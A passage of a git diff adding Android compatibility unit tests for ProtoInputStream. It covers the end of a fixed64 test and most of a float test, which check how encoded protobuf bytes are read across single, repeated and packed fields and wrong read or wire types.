+ testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED64;
+ final long FIELD_ID = fieldFlags | ((long) 102 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.fixed64FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.fixed64FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.fixed64FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x09,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x08,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readLong(FIELD_ID_1);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_2:
+ pi.readLong(FIELD_ID_2);
+ // don't fail, fixed64 is ok
+ break;
+ case (int) FIELD_ID_3:
+ pi.readLong(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed fixed64)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readLong(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFloatTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFloatTest.java
new file mode 100644
index 0000000..336fa57
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFloatTest.java
@@ -0,0 +1,678 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.io.IOException;
+
+public class ProtoInputStreamFloatTest extends TestCase {
+
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FLOAT;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+ final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+ final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x15,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+ // 10 -> 1
+ (byte) 0x55,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+ // 3 -> -1234.432
+ (byte) 0x1d,
+ (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+ // 4 -> 42.42
+ (byte) 0x25,
+ (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+ // 5 -> Float.MIN_NORMAL
+ (byte) 0x2d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+ // 6 -> DOUBLE.MIN_VALUE
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 7 -> Float.NEGATIVE_INFINITY
+ (byte) 0x3d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
+ // 8 -> Float.NaN
+ (byte) 0x45,
+ (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+ // 9 -> Float.POSITIVE_INFINITY
+ (byte) 0x4d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ float[] results = new float[9];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readFloat(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readFloat(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readFloat(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readFloat(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5] = pi.readFloat(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6] = pi.readFloat(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ results[7] = pi.readFloat(FIELD_ID_8);
+ break;
+ case (int) FIELD_ID_9:
+ results[8] = pi.readFloat(FIELD_ID_9);
+ break;
+ case (int) FIELD_ID_10:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+ assertEquals(0.0f, results[0]);
+ assertEquals(1.0f, results[1]);
+ assertEquals(-1234.432f, results[2]);
+ assertEquals(42.42f, results[3]);
+ assertEquals(Float.MIN_NORMAL, results[4]);
+ assertEquals(Float.MIN_VALUE, results[5]);
+ assertEquals(Float.NEGATIVE_INFINITY, results[6]);
+ assertEquals(Float.NaN, results[7]);
+ assertEquals(Float.POSITIVE_INFINITY, results[8]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1234.432f);
+ testReadCompat(42.42f);
+ testReadCompat(Float.MIN_NORMAL);
+ testReadCompat(Float.MIN_VALUE);
+ testReadCompat(Float.NEGATIVE_INFINITY);
+ testReadCompat(Float.NaN);
+ testReadCompat(Float.POSITIVE_INFINITY);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(float val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FLOAT;
+ final long FIELD_ID = fieldFlags | ((long) 20 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.floatField = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ float result = 0.0f; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readFloat(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.floatField, result);
+ }
+
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FLOAT;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+ final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+ final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x15,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+ // 3 -> -1234.432
+ (byte) 0x1d,
+ (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+ // 4 -> 42.42
+ (byte) 0x25,
+ (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+ // 5 -> Float.MIN_NORMAL
+ (byte) 0x2d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+ // 6 -> DOUBLE.MIN_VALUE
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 7 -> Float.NEGATIVE_INFINITY
+ (byte) 0x3d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
+ // 8 -> Float.NaN
+ (byte) 0x45,
+ (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+ // 9 -> Float.POSITIVE_INFINITY
+ (byte) 0x4d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+
+ // 10 -> 1
+ (byte) 0x55,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x15,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+ // 3 -> -1234.432
+ (byte) 0x1d,
+ (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+ // 4 -> 42.42
+ (byte) 0x25,
+ (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+ // 5 -> Float.MIN_NORMAL
+ (byte) 0x2d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+ // 6 -> DOUBLE.MIN_VALUE
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 7 -> Float.NEGATIVE_INFINITY
+ (byte) 0x3d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
+ // 8 -> Float.NaN
+ (byte) 0x45,
+ (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+ // 9 -> Float.POSITIVE_INFINITY
+ (byte) 0x4d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ float[][] results = new float[9][2];
+ int[] indices = new int[9];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readFloat(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readFloat(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readFloat(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readFloat(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readFloat(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readFloat(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readFloat(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ results[7][indices[7]++] = pi.readFloat(FIELD_ID_8);
+ break;
+ case (int) FIELD_ID_9:
+ results[8][indices[8]++] = pi.readFloat(FIELD_ID_9);
+ break;
+ case (int) FIELD_ID_10:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+ assertEquals(0.0f, results[0][0]);
+ assertEquals(0.0f, results[0][1]);
+ assertEquals(1.0f, results[1][0]);
+ assertEquals(1.0f, results[1][1]);
+ assertEquals(-1234.432f, results[2][0]);
+ assertEquals(-1234.432f, results[2][1]);
+ assertEquals(42.42f, results[3][0]);
+ assertEquals(42.42f, results[3][1]);
+ assertEquals(Float.MIN_NORMAL, results[4][0]);
+ assertEquals(Float.MIN_NORMAL, results[4][1]);
+ assertEquals(Float.MIN_VALUE, results[5][0]);
+ assertEquals(Float.MIN_VALUE, results[5][1]);
+ assertEquals(Float.NEGATIVE_INFINITY, results[6][0]);
+ assertEquals(Float.NEGATIVE_INFINITY, results[6][1]);
+ assertEquals(Float.NaN, results[7][0]);
+ assertEquals(Float.NaN, results[7][1]);
+ assertEquals(Float.POSITIVE_INFINITY, results[8][0]);
+ assertEquals(Float.POSITIVE_INFINITY, results[8][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new float[0]);
+ testRepeatedCompat(new float[]{0, 1, -1234.432f, 42.42f,
+ Float.MIN_NORMAL, Float.MIN_VALUE, Float.NEGATIVE_INFINITY, Float.NaN,
+ Float.POSITIVE_INFINITY,
+ });
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(float[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FLOAT;
+ final long FIELD_ID = fieldFlags | ((long) 21 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.floatFieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ float[] result = new float[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readFloat(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.floatFieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.floatFieldRepeated[i], result[i]);
+ }
+ }
+
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_FLOAT;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+ final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+ final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+ // 10 -> 1
+ (byte) 0x52,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x3f,
+ // 3 -> -1234.432
+ (byte) 0x1a,
+ (byte) 0x08,
+ (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+ (byte) 0xd3, (byte) 0x4d, (byte) 0x9a, (byte) 0xc4,
+ // 4 -> 42.42
+ (byte) 0x22,
+ (byte) 0x08,
+ (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+ (byte) 0x14, (byte) 0xae, (byte) 0x29, (byte) 0x42,
+ // 5 -> Float.MIN_NORMAL
+ (byte) 0x2a,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x00,
+ // 6 -> DOUBLE.MIN_VALUE
+ (byte) 0x32,
+ (byte) 0x08,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 7 -> Float.NEGATIVE_INFINITY
+ (byte) 0x3a,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
+ // 8 -> Float.NaN
+ (byte) 0x42,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+ // 9 -> Float.POSITIVE_INFINITY
+ (byte) 0x4a,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ float[][] results = new float[9][2];
+ int[] indices = new int[9];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readFloat(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readFloat(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readFloat(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readFloat(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readFloat(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readFloat(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readFloat(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ results[7][indices[7]++] = pi.readFloat(FIELD_ID_8);
+ break;
+ case (int) FIELD_ID_9:
+ results[8][indices[8]++] = pi.readFloat(FIELD_ID_9);
+ break;
+ case (int) FIELD_ID_10:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+ assertEquals(0.0f, results[0][0]);
+ assertEquals(0.0f, results[0][1]);
+ assertEquals(1.0f, results[1][0]);
+ assertEquals(1.0f, results[1][1]);
+ assertEquals(-1234.432f, results[2][0]);
+ assertEquals(-1234.432f, results[2][1]);
+ assertEquals(42.42f, results[3][0]);
+ assertEquals(42.42f, results[3][1]);
+ assertEquals(Float.MIN_NORMAL, results[4][0]);
+ assertEquals(Float.MIN_NORMAL, results[4][1]);
+ assertEquals(Float.MIN_VALUE, results[5][0]);
+ assertEquals(Float.MIN_VALUE, results[5][1]);
+ assertEquals(Float.NEGATIVE_INFINITY, results[6][0]);
+ assertEquals(Float.NEGATIVE_INFINITY, results[6][1]);
+ assertEquals(Float.NaN, results[7][0]);
+ assertEquals(Float.NaN, results[7][1]);
+ assertEquals(Float.POSITIVE_INFINITY, results[8][0]);
+ assertEquals(Float.POSITIVE_INFINITY, results[8][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new float[0]);
+ testPackedCompat(new float[]{0, 1, -1234.432f, 42.42f,
+ Float.MIN_NORMAL, Float.MIN_VALUE, Float.NEGATIVE_INFINITY, Float.NaN,
+ Float.POSITIVE_INFINITY,
+ });
+ }
+
+ /**
+ * Implementation of testPackedCompat with a given value.
+ */
+ private void testPackedCompat(float[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_FLOAT;
+ final long FIELD_ID = fieldFlags | ((long) 22 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.floatFieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ float[] result = new float[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readFloat(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.floatFieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.floatFieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FLOAT;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x0d,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FLOAT;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
